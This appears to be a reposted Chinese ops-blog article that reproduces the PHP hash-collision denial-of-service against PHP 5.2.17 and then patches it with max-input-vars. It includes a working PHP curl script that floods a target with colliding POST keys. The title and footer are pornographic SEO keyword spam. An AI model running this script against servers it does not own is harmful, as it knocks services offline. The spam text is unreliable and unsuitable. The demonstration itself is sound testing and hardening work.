青草久久影院-青草久久伊人-青草久久久-青草久久精品亚洲综合专区-SM双性精跪趴灌憋尿调教H-SM脚奴调教丨踩踏贱奴

17站長網

17站長網 首頁 安全 安全設置 查看內容

PHP Hash沖突導致 CPU 100%的完全解決方法

2022-9-24 21:23| 查看: 2540 |來源: 互聯網

我們先看下環境,這個網站是LAMP架構,PHP版本是5.2.17。 PHP未打補丁前,服務器CPU情況,目前是2.1%的使用率。     我們在這臺web服務器上編寫一個PHP程序,目的是要測試機去Hash它,以便故障

我們先看下環境,這個網站是LAMP架構,PHP版本是5.2.17。

PHP未打補丁前,服務器CPU情況,目前是2.1%的使用率。

    我們在這臺web服務器上編寫一個PHP程序,目的是要測試機去Hash它,以便故障重現。
程序語言如下:

復制代碼代碼如下:
echo $showtime=date("Y-m-d H:i:s");
?>

執行后的效果是取當前服務器的時間。

    找臺有PHP環境的測試機器,這臺機器我用虛擬機,里面有LAMP環境。進/usr/local/apache/htdocs目錄,寫一PHP網頁,程序語言如下:
[root@blog htdocs]# Vi hash.php


復制代碼代碼如下:
$size = pow(2, 16);
$data = '';
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$data .= $key.'=&';
}
$url = 'http://www.liuxxxxx.com/checktime.php';
$rs = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
for ($i=0; $i<100; ++$i)
{
curl_exec($ch);
}
curl_close($ch);
?>

url地址,為你要作測試的目標機,i<100,表示最多100個并發。手工執行hash.php,進行hash碰撞。
[root@blog htdocs]# /usr/local/php/bin/php hash.php

   在web服務器端,我們去看服務器的資源利用情況,CPU是97.6%,看樣子單臺虛擬機,拿100并發去Hash,就足夠把web服務器的CPU利用率升至100%。


    Cpu到了100%,網站是什么情況呢。我們再瀏覽該臺web服務器,點網站上面的鏈接,反應正常,估計是這臺web服務器本身沒有一點壓力,所以看不出來。把并發量調到10000,再測下,剛才是100并發。

刷新checktime.php頁面,可以很快顯示,網站正常。但此時web服務器cpu已是100%

結論,我是用個人博客作目標機,因為個人博客,目前只有幾個人訪問,沒有壓力,所以即使,通過10000并發的Hash,CPU上到100%,個人博客打開的速度,還是相當快。

打上補丁,我們再觀察一下。
1、先查下以后在搭建環境時,PHP的編譯參數

2、到網上去下載一個PHP補丁,下載地址為:
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars


3、根據個人平臺的版本號,點擊進去,注意,不要在它上面點右鍵,另存為,否則你down下的是一個html文件,文件名倒是php-5.2.17-max-input-vars.patch。
在新彈出的頁面點“raw”,就會打開這個補丁文件。


   把里面的內容復制,我這里只截了它一小部分。然后在web服務器上新建一個文件,php-5.2.17-max-input-vars.patch,里面就是剛復制的。

4、進php的原始安裝目錄,我這里環境是/opt/soft/php-5.2.17。先把原來已編譯好的一些,清理一下。


5、打補丁并重新編譯一下php

再config
再make ZEND_EXTRA_LIBS='-liconv' //有的平臺是make,每個環境不一樣
再make install

6、重啟一下apache,看效果
[root@lghblog php-5.2.17]# pkill httpd
[root@lghblog php-5.2.17]#/usr/local/apache/bin/apachectl start

訪問一下,web服務器的phpinfo.php,查看PHP環境有沒有變化。大家可以在最上面看到,PHP版本后帶了個P1。這個還不夠,我們再用Hash碰撞一下,看cpu會不會上100%。


在測試機上,還是取并發10000,去Hash web服務器。發現web服務器的CPU一直保持在0.5%。

 

問題解決!
 

本文出自 “系統網絡運維” 博客

本文最后更新于 2022-9-24 21:23,某些文章具有時效性,若有錯誤或已失效,請在網站留言或聯系站長:[email protected]
·END·
站長網微信號:w17tui,關注站長、創業、關注互聯網人 - 互聯網創業者營銷服務中心

免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!

17站長網微信二維碼

始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!

掃一掃,關注站長網微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 日韩亚洲中文欧美在线 | 久久综合狠狠综合久久综合88 | 女教师二十三岁 | 99在线视频免费观看视频 | 久久精品国产亚洲AV妓女不卡 | 农民下乡在线观看3 | 亚洲午夜福利未满十八勿进 | 国产精品爆乳尤物99精品 | 在线不卡日本v二区 | 中文字幕爆乳JULIA女教师 | 美女被抽插到哭内射视频免费 | 人人澡人人擦人人免费 | 97一期涩涩97片久久久久久久 | 99re6久久在热线视频 | 蜜芽资源高清在线观看 | 好看的电影网站亚洲一区 | 国产精华av午夜在线观看 | 小p孩玩成年女性啪啪资源 小777论坛 | 国产免费人成在线视频视频 | 久久国产香蕉 | 一本大道熟女人妻中文字幕在线 | 亚洲一区二区三不卡高清 | 亚洲国产成人在线 | 国产AV高清怡春院 | 久 久 亚洲 少 妇 无 码 | 十八禁肉动漫无修在线播放 | a在线免费观看视频 | 两个人在线观看的视频720 | 欧美精品3atv一区二区三区 | 国产在线观看成人免费视频 | 国产AV99激情久久无码天堂 | 99热精品在线av播放 | 伊人久久青草 | 日本久久久WWW成人免费毛片丨 | 亚洲高清视频一区 | 亚洲一区自拍高清亚洲精品 | 欧美一区二区三区激情视频 | 国产成人啪精品视频免费网 | 国产成人女人在线视频观看 | 国产亚洲精品V在线观看一 国产亚洲精品a在线观看app | 久久精品一区 |